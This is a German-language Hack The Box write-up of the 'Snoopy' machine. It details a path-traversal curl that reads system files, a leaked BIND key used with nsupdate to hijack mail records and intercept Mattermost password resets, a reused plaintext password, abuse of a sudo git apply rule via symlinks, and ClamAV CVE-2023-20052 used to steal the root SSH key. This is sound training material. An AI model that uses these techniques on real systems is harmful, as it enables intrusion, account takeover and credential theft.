HTB · published
Snoopy
Hack The Box CPTS-Track Writeup für Snoopy: Web File Disclosure, BIND Dynamic DNS Abuse, Mattermost Password Reset Interception, SSH Foothold, sudo git apply Symlink Abuse und ClamAV CVE-2023-20052 zu root.
Metadaten
- Name: Snoopy
- IP Address:
10.129.229.5 - Plattform: Linux
- Kategorie: Web / DNS / Mattermost / SSH / sudo / CVE
- Schwierigkeit: Medium
- Ziel(e): User, Root
- Kurzbeschreibung des Szenarios: Snoopy ist eine Linux-Machine mit SSH, BIND DNS, nginx und Mattermost. Die Angriffskette nutzt eine File-Disclosure im Web, dynamische DNS-Updates mit geleaktem BIND-Key, abgefangene Mattermost-Reset-Mails, SSH-Credential-Reuse, eingeschränkte sudo-Regeln für
git applyund final ClamAV CVE-2023-20052 zur Root-Datei-Exfiltration.
Reconnaissance/ Enumeration
initscan:
nmap -p- --min-rate 5000 -Pn -oA scans/full_tcp 10.129.229.5
22/tcp open ssh
53/tcp open domain
80/tcp open http
servicescan:
nmap -sCV -O -p22,53,80 -Pn -oA scans/tcp_services 10.129.229.5
22/tcp OpenSSH 8.9p1 Ubuntu
53/tcp ISC BIND 9.18.12
80/tcp nginx 1.18.0
Die Website zeigte snoopy.htb und einen Download-Endpunkt:
http://snoopy.htb/download
http://snoopy.htb/download?file=announcement.pdf
DNS-Zonentransfer war möglich:
dig @10.129.229.5 snoopy.htb axfr
Wichtige Records:
mm.snoopy.htb -> 127.0.0.1
mattermost.snoopy.htb -> 172.18.0.3
postgres.snoopy.htb -> 172.18.0.2
provisions.snoopy.htb -> 172.18.0.4
mm.snoopy.htb führte zu Mattermost 7.9.0.
Exploitation (Foothold)
Der Download-Endpunkt filterte ../ unsauber. Mit ....// ließ sich der Filter umgehen. Die Dateien wurden als ZIP zurückgegeben.
curl 'http://snoopy.htb/download?file=....//....//....//....//etc/passwd'
Interessant war besonders die BIND-Konfiguration:
curl 'http://snoopy.htb/download?file=....//....//....//....//etc/bind/named.conf'
Darin lag ein Dynamic-DNS-Update-Key:
key "rndc-key" {
algorithm hmac-sha256;
secret "BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA=";
};
Mit nsupdate wurde mail.snoopy.htb auf die eigene VPN-IP gesetzt:
nsupdate -k loot/rndc.key recon/nsupdate_mail.txt
Ein lokaler SMTP-Listener fing anschließend Mattermost-Passwort-Reset-Mails ab. Dadurch konnten Reset-Tokens für lokale Benutzer abgegriffen und Accounts übernommen werden.
Zurückgesetzte Mattermost-Accounts:
lpelt
cbrown
In Mattermost wurde ein server_provision-Workflow sichtbar, der SSH-Credential-Reuse offenbarte:
cbrown : sn00pedcr3dential!!!
SSH-Foothold:
ssh cbrown@10.129.229.5
Lateral Movement / User Escalation
cbrown hatte eine eingeschränkte sudo-Regel für git apply als sbrown:
(sbrown) PASSWD: /usr/bin/git ^apply -v [a-zA-Z0-9.]+$
Der Trick war, git apply nicht als einfachen Patch-Parser zu betrachten, sondern als Werkzeug, das Dateisystemänderungen ausführen kann. Über eine Patch-Kette wurde ein Symlink auf /home/sbrown/.ssh umbenannt und anschließend durch diesen Symlink eine authorized_keys geschrieben.
Vereinfacht:
sudo -u sbrown /usr/bin/git apply -v diff
Danach war SSH als sbrown mit dem eigenen Key möglich:
ssh -i loot/id_ed25519_snoopy sbrown@10.129.229.5
User Flag:
cat /home/sbrown/user.txt
ec433[REDACTED-USER-FLAG]d36b
Privilege Escalation (Root / Domain)
sbrown hatte passwordless sudo für ClamAV:
(root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$
Die installierte ClamAV-Version 1.0.0 war anfällig für CVE-2023-20052. Dabei kann ein präpariertes DMG über XML External Entity Verarbeitung root-lesbare Dateien in der Debug-Ausgabe leaken.
Payload-Ziele:
/root/root.txt
/root/.ssh/id_rsa
Ausführung:
sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/rootkey.dmg
Die Debug-Ausgabe enthielt den Root-SSH-Key. Nach dem Speichern als loot/root_id_rsa:
chmod 600 loot/root_id_rsa
ssh -i loot/root_id_rsa root@10.129.229.5
Root Flag:
cat /root/root.txt
d8f51[REDACTED-ROOT-FLAG]a0e4
Post-Exploitation
- User Flag:
ec433[REDACTED-USER-FLAG]d36b - Root Flag:
d8f51[REDACTED-ROOT-FLAG]a0e4 - Wichtige Accounts:
lpelt,cbrown,sbrown,root - Wichtige Artefakte:
rndc.key, Mattermost Reset Tokens,id_ed25519_snoopy,root_id_rsa - Wichtige Technik: LFI/Path Traversal, Dynamic DNS Abuse, SMTP Capture, sudo
git applyAbuse, ClamAV DMG XXE - Cleanup: DNS-Record
mail.snoopy.htbzurücksetzen/entfernen und lokale Captures/Keys schützen.
Lessons Learned
- Web-LFI kann Infrastruktur kippen: Eine simple Download-Schwachstelle wurde kritisch, weil sie DNS-Control-Material leakte.
- DNS ist ein Angriffsvektor: Dynamische DNS-Updates können Reset-Flows und Mail-Routing kontrollierbar machen.
- Sudo-Regeln genau lesen: Auch scheinbar enge Allow-Lists für Developer-Tools können über Dateisystemeffekte ausgenutzt werden.
- Debug-Ausgabe ist Datenabfluss: Privilegierte Tools mit
--debugkönnen bei Parser-Bugs root-lesbare Inhalte offenlegen.
Notizen
cbrownwar nicht direkt User-Flag, sondern der notwendige Pivot zusbrown.- Mattermost lieferte weniger “Credentials im Klartext”, sondern Kontext für den Provisioning-Prozess.
- Die Root-Flag hätte direkt per ClamAV geleakt werden können; Root-SSH war die sauberere Proof-Kette.